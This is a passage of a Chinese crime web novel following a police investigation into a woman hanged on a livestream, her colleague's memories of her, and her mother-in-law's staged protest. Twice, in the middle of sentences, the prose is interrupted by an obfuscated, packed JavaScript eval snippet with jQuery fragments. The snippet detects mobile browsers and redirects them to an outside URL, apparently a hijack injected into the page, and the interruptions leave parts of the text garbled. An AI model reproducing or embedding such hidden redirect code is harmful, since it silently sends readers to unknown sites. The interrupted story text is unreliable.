分问题,当然也能满足他的酒瘾、烟瘾,以及在外装大方装有本事的“我是成功男人”的瘾。 你母亲沉浸在终于站起来的痛快中,宁肯用钱打发他,也不愿意被他影响心情,耽误时间。 有时候你蹲在大盆前洗成堆的碗,抬眼瞄见父亲从钱匣子里“摸钱”……他被你母亲逮住时依然满嘴狡辩,一跳三尺高,但你敏锐地发现,不知道从什么时候,母亲说话时腔调高了许多,腰板也挺起了不少。 你父亲肯定也感知到了,只能变本加厉地说母亲不过是个卖粉的,不过挣点体力钱,不过是瞎猫碰到死耗子有那么一点点小运气……她再牛,也牛不过他的职称、他的奖杯、他对国家找矿事业的贡献。 有一天,你父亲再次醉醺醺地半夜回来,把你和你母亲从被窝里拎出来,兴高采烈地宣布一件事。 老陀死了。 老陀死在监狱里。就在公审大会前。 “就差一天就能看到这个老流氓被揪到所有人面前,让大家都听听他那些丢死先人的‘好事’,把□□犯三个字刻他脸上,结果,他真是好命啊,竟然就这么死了。” “老流氓肯定是畏罪自杀,知道丢不起这个人,妈的,死得太凑巧了。死在公审大会后也行啊。” “你们两个是什么表情?是要哭吗??王庆芬,你是有男人的人,你要为别的男人哭?你敢给我哭个试试!” “还有你,李重,你龇牙咧嘴的是要干嘛?上次被你咬了一口现在还在疼着,你敢再咬下试试?!” “你,你们,想干嘛?造反啊?你们站那别动!别动!没听到吗?” …… 巴掌呼过来,被你母亲紧紧攥住。 大腿踹过来,被你死死抱住。 手腕挣脱,巴掌再呼过来,你母亲被狠狠打歪了脸。 你嗷呜一声转身冲到衣柜扒出了燧石刀,握着刀再次冲回堂屋,你看见母亲的手上举着那把你心心念的羊腿刀,而父亲吓瘫在了地上。 - 老陀到底是个什么样的人? 他是光,炙热的光,毫无保留的光,生生劈开漫天乌云,短暂投射在了你和你母亲身上。 他狂妄自大又真诚可爱,倔强随性又极有原则。他明明穷得叮当响,却又豪气大方,最后豪气地连自己的命都丢在了阴暗的监狱。 没人愿意为他收尸,包括他年迈的老母亲。 明明警察并没有判他有罪,可□□犯这三个字依然刻在了他的身上。没人为他正名,没人为他辩解。 你母亲找警察要说法,要骨灰,警察问她是否是老陀的直系亲属,她摇了摇头,对方自然不肯告诉她任何消息。 她又去找老陀的老母亲。老太太连提都不愿意提,还骂着说生个儿子不如养条狗,她的前儿媳好歹前两天还回来一趟给她送了一大笔巨款,足足两千块钱…… 他的骨灰就这样被冰冷的规章制度处理了,无人收殓,无人供奉,无人祭奠。 那样高高壮壮的人,就这么眨眼间消失了,死了还背着骂名。 若是从未遇到他该多好啊,你和你母亲双手绑缚,会一辈子在幽暗的山洞里对着洞壁上巨大丑陋的影子顶礼膜拜。 然而,偶然出现的老陀把你们的脸掰过来,看向洞口,洞口有光,光外有新的世界。 只那么短暂的一瞥,你们便彻底再也回不去了。 25. 第25章 李重死去的第三天。地球照样在转。 - 陈秋池看着面前的笔迹鉴定结果,倒也不意外。 确实如程肃所说,他与李重只是普通同事关系。两人除了工作交集外,也就私下吃了一顿饭。不管是办公软件聊天记录,还是微信聊天记录,无不显示着两人并无过界行为。 那李重为什么要模仿程肃的字?为什么要写下“我的小可爱”五个字,还要在前面加一个小心心? 苏鹤:“说不定她就是写着玩的。” 陈秋池摇摇头。能把程肃的字模仿得惟妙惟肖,李重一定下了非常大的功夫。当一个人愿意在某件事上花费大量时间,就算不是热爱,也一定出于某种目的。 且李重写的第三首怪诗里,作者笔下的“我”是拥有七条触角的怪物,“我”同时想着“你”和“他”,同时爱着“你”和“他”,当然还有直言不讳的想日“你”和“他”。描述“你”和“他”样貌时还提到了胡子。 事实是,方月华有胡子,程肃也有胡子。 “你看他们两人的微信朋友圈。”陈秋池指着面前的两份资料道:“2021年9月2日,程肃在朋友圈发了他在荷花公园拍的照片,一个星期后,李重也发了不同角度却为同一地点的照片。” 一座红桥倒映在湖面上,白云的影子亲吻着密密匝匝的荷叶,一株株绿茎顶着粉白荷花在风中跳舞。 同样的红桥、白云、荷叶、荷花,程肃从左往右拍,李重从右往左拍。 且不止这一处巧合。 2021年9月25日,程肃带着全家人前往龙梅郊野径游玩。四天后,同样的手作步道、山脊密林、蝴蝶娇花,以不同角度出现在李重的朋友圈。 2021年国庆假期期间,程肃在他家门口公园那株网红栾树前拍了照。一天后,李重也拍了这株树,并配文字:国庆花。 栾树又叫国庆花。它总在国庆前后开花,花落后结出的皮质蒴果像一盏盏小灯笼成串成串地挂在枝头,且会蔓延整个秋季。 大概因为它的花果期几乎贯穿了它整个生命,所以它的花语是:灿烂的一生。 陈秋池想,李重在拍摄时是否想到这个花语?是否当时也认为她的一生肯定如国庆花般永远灿烂,充满希望? 诸如此类的“追拍”比比皆是,且都发生在2021年6月份两人那顿饭之后,截止于李重消失之前。 陈秋池将这一发现告之程肃。他满脸震惊,好半天才缓过神来,问了一句:“她喜欢过我?” - 谁也回答不了他。 或许李重就是个隐藏极深的奇怪女人。不仅偷偷模仿他的字,用他的口吻称呼自己为小可爱,还去了他去过的所有地方,以一种难以觉察却又令人生寒的方式展示于个人媒体平台上。 要说这就是喜欢,倒也不一定。 要说这就是变态,也不一定。 “那天我约她吃饭,我记得她跟我说她是黔北人,我就说要不要吃羊肉?谁知道她连听到羊肉两个字就差点当着我的面吐出来。后来我们就去吃了湖南菜。” 陈秋池和苏鹤互相看了一眼。方月华明明说李重最喜欢他做的羊肉汤。 “她有无提过她的丈夫?” 程肃摇摇头,“说实在话,过去太久了,我真的记不清。应该就只聊了工作上的事。” 陈秋池知道,即便程肃曾经对李重有任何旖旎想法,当时不能言说,现在更不能言说。毕竟谁也不想惹火上身,尤其还牵扯着命案。 她换了种问法,“你觉得李重是个什么样的人?” - 程肃活了四十年,头一次在一个人身上感觉到一种说不清道不明的“熟悉感”。这种“熟悉感”昂扬着头朝他席卷而来,任凭他如何逃避避,也避之不及。 他第一次见到李重时是在照片墙上。那时新来的员工都要将自己的照片贴上去,李重选了一张自己站在泰山玉皇顶的照片。 她高举双手,后靠万丈云海,一轮旭日在她的身后破云而出。日出很美,可他一眼就注意到她的眉眼,弯得像两个月牙,笑意神奇地从她的脸上一下子窜到了他的心里。 是的。每个季度设计院进来那么多新鲜面孔,他唯独看到了她。 但也仅仅如此。 两人不同所,工作并无交集。除了在办公室遇到会打招呼外,不会多说一个字。 直到两年前的那次出差。 一次不得不凑一起的出差组合,纯属意外。 前两天,开会,交流,踏勘,和业主周旋,按部就班的出差流程,他这位所长早已熟稔于心。李重负责拍照,记录会议纪要,做事井井有条,令人放心。一切都没什么异常。 第三天晚上吃饭时,他中途想出去透透气,刚走到门口便瞧见李重站在门口处,手里叼着一根细细的烟,正仰头认真看着从屋檐垂落的雨滴。烟头忽明忽暗,水雾和从她鼻孔里吐出的烟雾混在一起,她的眼神迷离又幽暗。 他不好打扰,悄悄退了回来。 第四天晚上返程,他刚把行李放进行李架时,李重竟然拿着机票坐到了他的临座。 她说巧了。 他知道她在说谎。这趟飞机因为时间太晚,还有很多靠着窗户和过道的空闲位置,她没有选,独独选了他的旁边。 不过没关系,回程漫长,他不介意多个可以聊天的人。 她确实很爱笑,也很健谈。她主动提及她是黔北人,谈到她的嘴非常笨,四五岁才学会张嘴说话,说她也很社恐,非常讨厌和人交往。 以上每一点都与他对她的认知完全相反。 她的口音听起来很像北方人,她口齿伶俐汇报能力强,她在设计院人缘非常好,此刻也是她主动坐到他的旁边和他侃侃而谈。 她瞧着他有些懵的脸,笑问,“你是不是觉得我在骗你?” 他摇头否认,她说的每一个字他都相信。没有理由,就是相信。 幸好机舱声音很大,不然无法遮盖两人越聊越热烈的声音。 她说:“你都知道我很多秘密了,你也得告诉我一个秘密。” 他想了想说:“我小名叫铁蛋。” 她看着他直笑。 “贱名好养活。我是农村人,起名就是这么接地气。好吧,这不算什么秘密。换一个,”他不好意思地笑起来,想了想道:“我曾经和村里的一个女孩子定了娃娃亲,后来我考上了大学,人家不愿意等我就早早结婚了。这事除了我父母没人知道,所以算是个秘密。” 她点点头,轻声说:“那我再告诉你一个秘密。” 程肃看着她。他从未这样近距离地看过她,或者说,从未这么直白地直视着她。 “你长得非常像我的爸爸!” 说到这里,她又补了一句,“像我的超人爸爸!” 她原本笑容铺满的脸骤然黯淡下去,从未见过的浓重的悲伤化作团团黑雾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14398115|152022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把她包裹起来。 程肃被吓到了,不知道该怎么接话。 她耸了耸肩膀,抬手打散黑雾,立马把眉眼笑得更弯了,“你会不会是我超人爸爸的转世?” - 他当然不是。却又不知道为何没有直接否认,而是回了两个字:“或许。” 李重显然情绪更高涨了,她说她的超人爸爸非常厉害,上知天文下知地理,左通八卦右晓阴阳,简直无所不能。 “你爸爸难不成还会飞?”他问。 李重哈哈笑起来,“是呀!他会飞!” 笑着笑着她竟然把眼泪也笑了出来,“他要是会飞的话,也不至于死得那么早。” 程肃又不知道该怎么接话了,他只能说抱歉。 李重边擦眼泪边盯着他,“没事没事,多看看你就行了。” - 很快她便转移了话题,说的都是他感兴趣的话题。她懂得多,视角又很新奇,他聊得相当尽兴。两个从未碰触过的灵魂在这个震天响的机舱里互相探出了触角,像在觅食路上偶尔相遇的两只小蚂蚁。 以至于那晚回到家,打开门的那一瞬间,程肃竟从心底生出一丝从未有过的惆怅。 再后来,这个项目无疾而终,也不需要进一步和业主对接,更不需要组队出文本,他和李重的联系就此又断了。 请她吃饭当然不合时宜。但他就这么做了。且只思考了一秒。 她欣然应约。饭桌上没再提她的超人爸爸,更没提她的家庭,就像一个认识多年的老朋友,一起聊他的学生时代,他的职业困境,他的婚姻生活,甚至还当场帮他修改了他外公的墓碑祭文。 她落落大方,坦然真诚,与其聊天极其丝滑。 后来程肃觉察出味儿来,李重这是在向下兼容,兼容他的木讷寡言,兼容他的古板无趣,兼容他的陈旧三观。所以他才觉得和她聊天犹如春风拂面,舒服地令人心颤,日夜回放。 就因为他长了一张和她超人爸爸近似的脸? 他不敢细想,也不愿细想。 当然想了也没用。 - 再后来,两人再无其他联系,除了见面打招呼。 那些酣畅淋漓的聊天就像发生在上辈子,让人恍惚又怀念。 就这么一眨眼两年过去了。 当听说她离职的时候,第一时间发了微信给她,她没回。 当听说她失踪不见时,他震惊,担心,难过,情绪差到连妻子都发现了他的不对劲。 当他得知她死了且死得那么惨烈时,他瘫坐在座位上久久不能动弹。 现在他知道李重偷偷模仿过他的字,去了他去过的所有地方,他的第一反应竟然是:他不仅仅是她超人爸爸的替身。 随即他又狠狠否认了这个可笑想法。 然后他更悲伤了。斯人已逝,无人知晓答案。 他作为这段不知道该怎么定义的关系的其中一方,因为另一方的消逝,再无任何存在的价值和意义。 不能言说的短暂的一瞥后,他的人生好像还如以前一样,却又像哪里坍塌了一角。 - 现在他坐在这里,对面的陈警官问他觉得李重是什么样的一个人? 他平静地抬起头来。 “我不知道。” ”我记忆力不好,连她的样子都记不清了。” “唯一记得的就是她很爱笑。” “笑起来很好看。” 26. 第26章 案件进展到这个阶段,如同走入一团浓重幽冷不知深浅的黑雾中,偶尔透出来的光斑,看起来像是真相甩出来的一鳞半爪,却怎么也连不起来,串不起来。 方月华坚决不认罪,坚持认为所有一切都是李重故意设局陷害他。假如他说得对,李重为什么要这么做?是什么理由让她心甘情愿以死为代价? 方月华认为李重这么做是为了保护她的情人,然而目前看起来也不过是他的臆断。他两年前就起了疑心,查来查去什么也没查到。还是陈秋池通过“我的小可爱”五个字才找到程肃,但程肃与李重除了两年前的短暂接触外,再无实际来往。 倒是方月华自己婚内屡屡撩骚出轨,铁证如山,无可辩驳。不过这些证据也是在李重死后才暴露出来的。 有没有可能李重生前已经知道?由此和方月华渐渐离心,起了杀心?按照一般推理,她也该把刀尖指向她黑心的丈夫,而不是自己! 另外,有没有可能现场当时还有第三人? 据方月华交代,那天他在地库第一次发现李重的时候,她穿着黄色长裙,从他面前闪过,他转个身,坐进车里,不过一两分钟,李重就被吊在了车后。 绑绳,结绳,甩挂,套头,吊起……速度之快,动作之准,现在想想也觉得不是李重一个人就能完成的。 如果李重是被迫的,方月华就在她前面不到三米的距离,她应该会挣扎,两只脚会在地面擦出声响,即便嘴巴被捂死,她也应该从歹人指缝里发出点呜咽声,封闭的地库会把这些声音放大再放大…… 但方月华发誓他没有听到任何声音。且不管是车后杠、绳子都没有检测到方月华的DNA,方月华手指缝里也没有检测到李重的DNA。他说他连碰都没碰李重,应该没有说假话。所以这人才这么嚣张,气定神闲地要和她做交易。 尸检报告也显示,李重的死亡原因符合绳勒窒息。 李重有没有可能真的就是心甘情愿的自杀?所以才没有发出任何声音。 如果存在第三人,这个第三人是来协助她自杀的吗? - 这个念头一旦形成,陈秋池的心里就像扎了根刺。 她看着李重的名字,唇齿之间轻轻咂摸着这两个音节。 生于80年代末尾的人,李重的名字没有莺莺燕燕,没有柔情温顺,只简简单单一个重字。像个男孩名。 她是那个年代的独生子女,她在父母眼里是重要的,所以才起名李重? 可李重父亲早逝,母亲又与她断交,看起来也不像是被珍重的孩子,毕竟李重的母亲到现在也没有出现…… 妈妈。 应是这个世界上最柔软的呼唤,有时候又会化作最锋利的刀,反手扎进心里时,会格外得疼。 - 今年的台风季漫长又闷热。副热带高压带来的蒸热暑气终于被连绵的暴雨削减一些。 许是陈秋池苍白的脸太过吓人,被队长江离赶出办公室,要求她回家休息。 从地铁站出来,陈秋池撑开雨伞,悄然涌入人群中。 她身形高挑,在乌云压顶的台风天里黑衣裹身,黑伞遮顶,明明周边有翠亮的树,走动的人,可过分纤细的她,走在朦胧的雨雾中就像遗落于这天地画布中的一道孤墨,若是被雨打湿,就会迅速晕染,变淡,而后消失。 不多时,这道孤墨转入一处幼儿园外。 雨滴顺着铁栅栏不停往下坠,漂亮的攀爬架上空无一人,教室里奶声奶气的喊声也被雨声吃去了一大半。 若是晴天,这里定然奔跑着人世间最美好最纯粹的笑脸。若是放学时刻,一个个圆溜可爱的小奶团子们会排着队走出来,急不可耐地扑进最暖的怀抱。 这时有个老师从教室里走出来,被矗立在园外一动不动的黑影吓了一跳,她迟疑了一会拿起手机打电话。 陈秋池垂下眸,转身再次消失在雨雾中。 依旧是空荡荡的家,空荡荡的房间,空荡荡的冰箱,以及空荡荡的心。 踏进家的那一刻,所有力气如洪水般迅速消退,陈秋池几步一晃倒在了沙发上。 不知道睡了多久,一睁眼已是半夜。这才发现茶几上端端正正放着一份文件和一只黑笔。 黑笔的盖子已经贴心地拔了下来,只要她伸出手,握紧它,写下总共二十二笔的三个字,一切便一笔勾销,成为历史,没人会再愿意提及。 可如果人人都学会掩盖,学会忘记,这个世界还能留下什么? 陈秋池眨了眨眼,伸出手,把文件拿起来,轻轻一撕,一道裂痕再次把上面的“离婚”二字分成了两半。 - 方月华的母亲赵芳桂举着一张白纸跪在了滨海分局门口。 头天晚上暴雨带来的积水还没退去,这个瘦瘦高高的老太太就这么跪在水里。 她枯草一样的手指紧紧攥着那张白纸,纸上鲜艳硕大的“冤”字,像巨大的巴掌狠狠打在滨海分局所有人的脸上。 她像一尊雕塑,死死跪在这里。任凭谁来,也不起身。和善的也语气罢,命令的语气也罢,她一不愿意走进去喝杯热茶,二不愿好好说话用合法的流程解决问题。 如果逼得急了,她便捂着胸口说自己有心脏病,谁惹她她就发病给对方看。 一时间很多人围观过来。如此少见的光天化日之下的喊冤场景,总能挑起人们敏感的神经,手机纷纷登场,对着成排的警察和喊冤的老人可着劲地拍。 “我要见我儿子方月华!” “我儿子肯定是冤枉的。他从小就很听话,从不会主动惹事,我不信他会杀人!” “警察抓错人了,他们不应该抓我儿子!” “当初李重不知道用什么方法把我儿子勾引了!那么多比李重条件好的女的要嫁我儿子,我儿子都看不上,非要娶她。娶了她以后我儿子就开始倒大霉,工厂倒闭了,房和车都赔了,现在还被抓起来!” “我让她给我生个孙子,她死活不肯生。现在好了,方家要断后了!” “所有人都说我儿子是杀人犯,是大恶人,只有我不信!警察同志,你们要好好查查李重!肯定是李重,是她故意的陷害我儿子的!” 老太太一口黔北口音,哭着喊着要里头的人放人。 “你儿子直播杀人,所有人都看到了啊!哪有什么冤?” “对啊对啊!我们都看到了!要哭也该是人家李重的妈哭,你是杀人犯的妈,你有什么好哭的!” “你们这些人怎么没有同情心?哪个妈不心疼孩子?就算儿子是杀人犯又如何,当妈的要是不能接受,谁能接受?” “儿子成了杀人犯,肯定是这个妈没当好!她怎么有脸过来喊冤!” “关键时候爹怎么隐身了?!” …… 一时间连围观的人也吵作一团。 杀人犯!不配做妈!死变态!吊死他! 一个个惊悚可怖的字眼插进赵芳桂的心里,她如干瘪馒头的脸不停哆嗦,突然身体往后一撅,直挺挺地倒在了积水中,瞬时鼻腔被水堵死了。 - 陈秋池赶过来时,赵芳桂已经转去普通病房。 隔着病房玻璃,苏鹤低声道:“这老太太压根什么毛病都没有。心脏杠杠的,腿脚杠杠的,人家可是坐着硬座一路从黔北赶来新安,二十多个小时啊,马不停蹄的,刚下火车就赶来咱们分局跪地喊冤……” “还真是赶巧了,她刚到分局,就有人围过来,直播一开,流量腾得一下就上去了!” “然后就在咱们分局门口晕倒了!到了医院,医生刚要拿出针抽血,人立马就醒过来了!” “这一套一套的,感觉是不是有人在背后教她!” - 赵芳桂,一个从没有出过远门的农村家庭妇女,六十来岁,可能连网上购票也不会,就这么一头扎进千里之外的大城市,还能准确找到办案的机构所在地,又是跪地喊冤,又是装病晕倒,哭天抹泪的让人不忍看下去……终于搞出这么大阵仗,又引来一堆好事者,刚才陈秋池过来时看到不少人举着手机,围在医院外。 从李重失踪开始,陈秋池便敏锐地感觉到就有一只无形的手在背后操作。这只手躲在幽深的暗处,非常隐蔽。它轻轻一拨,李重消失的消息就传播开来,舆论立马像浪潮一样卷往方月华是杀妻凶手的方向,地毯式搜查无果后暂且让方月华恢复名誉,一家MCN公司立马找上他,为他精心打造了一场寻人直播,效果非常不错,流量爆增,之后连续数天,这家公司趁势搞了很多场直播活动,甚至还帮助方月华请了一位所谓的不出世的厉害大师做了一场寻人法事……然后在某次普普通通的直播中,方月华竟然当众吊死了李重。 所有人都看到了,他无可辩驳。 舆论、直播、流量、议论、影响……方月华和李重的所有信息,像那些沉压在河床多年的沙粒,突然被这只无形的手搅动,它们便趁着水流翻涌到了水面上,现在谁都能看到,谁都能议论。 当然也包括他们两人想要隐藏的秘密。 如今方月华即便有机会再次活着走出来,他也已经完完全全社会性死亡。他的脸,他的名字,他的一切的一切,都成了恶的代表。他走到哪里都会被人凝视,被人指指点点,被人吐唾沫。 这何尝不是一种死刑?每分每秒都在凌迟他的骄傲,他的自尊,他的身体。 方月华的母亲如今也暴露在了镜头前,为这个案件再添一把火,她的背后是不是也同样藏了这只手? - 陈秋池抬脚走进病房。赵芳桂见到穿制服的警察立马又哭闹起来,捶打着床非要警察把她儿子放了。 苏鹤紧紧锁着眉,这老太太仗着自己年龄大,仗着自己文盲不懂法,油盐不进,简直就是块滚刀肉。 “赵女士,您这样做是在扰乱公安机关的正常工作秩序,涉嫌妨碍公务!您要是再不收敛,别说你儿子放不出来,你也可能要进去!” 苏鹤的前半句都是专业术语,赵桂芳听不懂,后半句够直接明了,她听明白了。瞬时停止了嚎叫,直勾勾地盯着一直不说话的陈秋池,“就是你!是你把我儿子抓走了!你是不是和李重是一伙的?!” 苏鹤又倒吸一口气,这些人以为说话都不用负责任吗? 陈秋池看着赵芳桂,“赵女士,你来新安市,你丈夫知情吗?” 赵芳桂脸色一僵,支吾道:“那,那自然是知道的。” “你知不知道,你现在可能已经出现在很多人的手机里,你丈夫说不定很快就能看到你,看到你为了你儿子跪在公安局门口大喊冤枉!” 赵芳桂立马慌了,“不可能!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14411464|152022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>自从儿子出事后,他们夫妻两个被迫从市区搬回乡下老家,本以为可以躲开汹涌而来的议论咒骂和好事者的围观,然而老家的人也容不下他们,骂方月华丢了方家祖宗的脸,更有消息灵通的人追过来堵门,不得已他们又搬到更偏远的乡下……她这次谎称身体不舒服出门看病才有机会出来,一路赶来新安市就是为了儿子。 一想到家里那尊大佛可能会看到她跪在公安局门口喊冤,赵芳桂浑身骨头开始隐隐作痛,仿佛那些巴掌拳头已经隔着千里招呼过来……他恨不争气的儿子,半个字都不让她提,可是她是妈妈啊,如果连她都不来,还能指望谁? “谁给你买的火车票?谁告诉你要来滨海分局要人?你刚才又是为什么假装晕倒?” “没,没有!不是,不是你讲的这样。”赵芳桂被陈秋池连续的质问吓得乱了方寸。 她这辈子最大的成就就是生下方月华,儿子是她的命,是她在这个家安身立命的根本。现在如果连儿子也要失去,那她不知道自己活着的意义在哪? “是她,是她告诉我,只有这样我儿子才能活着出来。我是他妈,我不救他谁还会救他?” “谁?”陈秋池往前一步。 赵芳桂颤颤巍巍从口袋里掏出一张名片。 陈秋池接过来。 名片主人:白珂。 职位:蚁后MCN公司董事长。 陈秋池一愣。 蚁后? 不就是之前签约方月华直播的那家公司吗? - 蚁后MCN公司三个月前才成立,方月华是这家公司签约的第五个人。 前四个人都是擦边男主播,他们制造撩拨,摸头杀,扯领带,以最大尺度挑逗幻想。只不过这四个人经常因为尺度过大被平台限流甚至封禁。 要说白珂是因为拥有极好的商业眼光才签约了方月华,陈秋池是不信的。 签约第一个擦边男主播,她就赔钱了。她不在乎,不收手,又连续签了三个。 跟玩似的。 好像只是为了证明“蚁后”是一家正在努力营业的真实公司。 更何况方月华彼时非议缠身,像走在钢丝上的人,看似热度高,粉丝多,随时都有可能从钢丝上摔下来。白珂竟然对此一点都不介意,说签约就签约,还尽心尽力帮助方月华组织了好几场大型直播活动。 方月华被抓后,白珂立马与他划清界限,还假模假样让他赔偿二百五十块钱。 陈秋池觉得这就是一种嘲讽,且是一种蓄谋已久的嘲讽。 - 见到白珂本人,陈秋池还是有些意外。 这位刚成年的年轻姑娘不仅有钱开公司,本人还坐在轮椅上……这么热的夏天她把自己裹得跟个粽子似的,面色苍白但毫不慌张。 白珂像是知道警察会找上门,非常坦然地说她找律师咨询过,之前签约方月华并不违法。 “陈警官您也知道,现在直播竞争很大,各种赛道已经饱和。您可以夸我眼光好,像方月华这样的人设,实在千载难逢,我怎么能不抓住呢?” 说到这里,她语气突然变得冷硬,“再说,我当时去找方月华的时候,他大概就纠结了五分钟吧。” “你在签约方月华之前,并不认识他和他的妻子?” 白珂坚定地摇摇头,“不认识。” “你当时签约方月华,完全凭借你的所谓的商业眼光,没有其他目的?” “不然还能因为什么?图他年龄大?图他长得帅?”白珂噗嗤一声笑出来,可紧接着她便痛苦地深咳起来,咳得满脸通红,胸腔不停起伏着…… 陈秋池递过去一杯水,面前小姑娘从口袋里掏出一个药盒,倒出几粒药来,仰头放进嘴里,然后就着陈秋池的手,喝了口水把药咽了下去。 缓了好一会,她对着陈秋池露出一个惨淡的笑,“头一次看到比我脸色还差的人。你也生病了吗?” 陈秋池沉沉看着她,艰涩地从嘴里吐出没有两个字。 “至于赵芳桂,我倒是花了不少时间才找到她,”说到这里,白珂目光幽幽,“多么可怜的一位母亲啊,儿子被抓,她也被逼得东躲西藏,都快把眼睛哭瞎了,我当然是能帮就帮。陈警官,警察不是神,不是什么事都能管的过来,我出手帮帮她,这总不违法吧!” 陈秋池心头一动,总觉得在哪里听过同样的话。 苏鹤见这小姑娘说话阴阳怪气的,皱眉质问她是否教唆赵芳桂去公安局闹事,那些紧跟其后的直播者和围观者是否也是她安排的? 白珂仰起头,可爱的齐刘海下是一双冷漠的眼眸,“我只是处于好心,给了她一点路费钱,告诉她该去哪里找她儿子。至于她到了公安局门口怎么说,怎么做,是她的个人自由,也不是我能控制的。我只是拍了一个她的专访视频,内容也无非是一个母亲对儿子的信任和爱,我都还没来得及发到网上去。” 她指了指玻璃门外的几个员工,“我总要养员工啊。怪只能怪我们这个行当太卷了,好不容易蹭到流量挣点钱,一不留神就有可能被人截了胡,那些围堵赵芳桂的人就是这样的鬣狗,闻到点腥味就扑上去……这个案子热度居高不下,任何和它有关的人都可能成为爆点,我承认我赚钱赚得有点不要脸,但只要不犯法就行。至于其他什么正义道德,都与我无关。 27. 第27章 何家巷的人怎么也想不到,他们一条窄窄的老巷子竟然同时出现三个网红打卡点。 便民食堂、巨型花瀑、以及杀妻案的重要相关人。 巷子这次终于被好事者堵死了,不论工作日还是节假日,毫无意外。 大家原本的流程是来老街溜达溜达,再去便民食堂吃个性价比高的十元餐,然后坐在窗户边拿出手机或者架起相机拍摄对面的十米花瀑,现在则增加一个环节,拍花瀑的同时,将镜头对准掩映在花瀑下的二楼阳台。 阳台被防盗网箍得密密实实,透过影影绰绰的花瓣,似乎能看到里头正在晾晒的衣服。一个快要秃毛的老式拖把从阳台探出头来,残暴地将完整的花瀑戳出一个洞,直接打破了花瀑的美感,但更能证明这里头住着的叫王庆芬的女人,是个还能讲话的活人。 是她养育了杀妻案中的受害者。 是她同意杀妻案中的嫌疑犯娶了自己的女儿。 作为除了警察外最了解当事人的人,她一定有很多很多的话要说。 她会大哭大闹恨不得手刃方月华,为女儿报仇吗? 她会痛哭流涕,后悔当年同意两人结婚吗? 还是说,她肚子里藏着不为人知的秘密,这些秘密可能剑指真相,可能反转剧情。 不管哪一种,都有极高的话题度,必然会带来汹涌澎湃的流量。 谁能抢到藏在花瀑后的老女人的采访许可,谁能捕捉到哪怕只是片鳞半爪的细节,甚至谁能拍到她,都会获得巨大的点击量。 街道领导头疼啊!别人求之不来的流量,他们这里一下子还来了仨。 前两个是死物,好控制,后一个不仅拒绝了暂时回避另换地方的提议,昨天在医院还当着那么多直播镜头的面数落街道领导不作为,说领导让便民的食堂不再便民,说政府只想挣游客钱不管本地居民死活。 若是往常,主播们一定喜欢这种言论,恨不得把镜头贴她脸上,把她每一个愤怒的皱纹都拍清清楚楚,可现在,这些已经过时,毫无价值。 见风使舵,以最快的速度再占新山头。主播们最擅长了。 “你女儿被你女婿直播吊死了,老太太你知道吗?” “这些游客真的很烦人,那是政府给我们老年人开的长者食堂,他们把饭吃了,我们吃什么?” “警察有没有告诉你咋回事啊?” “我不管。你们政府必须禁止游客进出便民食堂,必须把我的位置还给我!” “你女儿和女婿之间到底有什么不可调和的矛盾啊?” “要我说,政府必须把游客赶出何家巷,还我们本地人一个清净!” “老太太,你怎么听不懂我们的问话啊?” “老年人的命也是命!你们政府要是嫌弃我们这些老头老太太没用了直接把我们弄死算了!真是一点不在乎我们的权益!” “……” “……” 鸡同鸭讲。对牛弹琴。像跨了个银河系一样不同频。 执法中队队长站在这里,被骂得战战兢兢,浑身是汗。他倒是想让王庆芬好好回答人家主播的问题,怎奈这老太太压根不搭理这茬,揪着便民食堂大说特说。 后来主播们也无语了,对着镜头说了句,“亲妈都不关心自己的死活,李重,你咋这么惨!” - 此时,王庆芬站在客厅里。 外头的吵闹声比前段时间更大更响。细听还能捕捉到他们不停地在喊自己的名字。 她阴沉着脸,整个身体微微颤抖。她讨厌声音,讨厌光亮,讨厌别人的眼神,讨厌一切超出控制的事情。 可现在,吵闹声,闪光灯,各种凝视探寻无处不在,让她无处遁形,这都怪谁?怪谁? 她深吸一口气,缓缓转头看向主卧。 主卧门上贴着一张年画。每年春节她都会自制厚厚的浆糊,用刷子小心翼翼地在年画背面刷一层,再轻手轻脚贴上去。 这是每年过年的头等大事,她有足够的耐心和细致,直到看到年画上那个胖娃娃笑容满面地入了家,上了门,她才会松口气。 胖娃娃虎头虎脑,头顶梳着一个绑红绳的朝天辫,眉心还点着一个红色圆点,喜庆极了。他有时候骑在一头巨大的鲤鱼上,脖子上挂着长命锁,有时候坐在花团中,抱着一篮寿桃,有时候则踩在巨型莲花上,手里攥着好几株莲蓬。 选哪一款对于王庆芬来说都无所谓,只要是个胖娃娃,胖乎乎的男娃娃。 主卧面积最大,但她住次卧。平时主卧的门被关的死死的,就像是被巨龙盘在身下精心守护的宝藏,谁也不能进,谁也不能碰。唯有每年六月的某一天她才会打开门在里面枯坐一整天,不吃不喝。 现在是八月份,她再次站在主卧门口。胖娃娃脸上喜庆的红已经不可抗拒地失了色,在幽黄的灯光下变得斑驳坑洼,像被谁剥了皮,却没剥干净。 王庆芬窸窸窣窣半天才从腰带上取下钥匙。 插进去,拧开,伴着咯吱声,包裹着尘土气息的空气骤然扑到脸上,她唇角抖了抖,抬脚走了进去。 这是一个男孩子看到必然会喜欢的房间。 偌大的书架上摆放着大大小小的汽车模型、变形金刚、奥特曼、玩具枪等等,除此之外,什么书都没有。 书桌上整齐地摆放着12个蓝色文具盒,有塑料的,有铁的,有布的,细看过去还有两个上面写着英文、日文,应是进口洋货。 有文具盒,自然有书包。12个蓝色书包就挂在书桌上方的墙壁上。 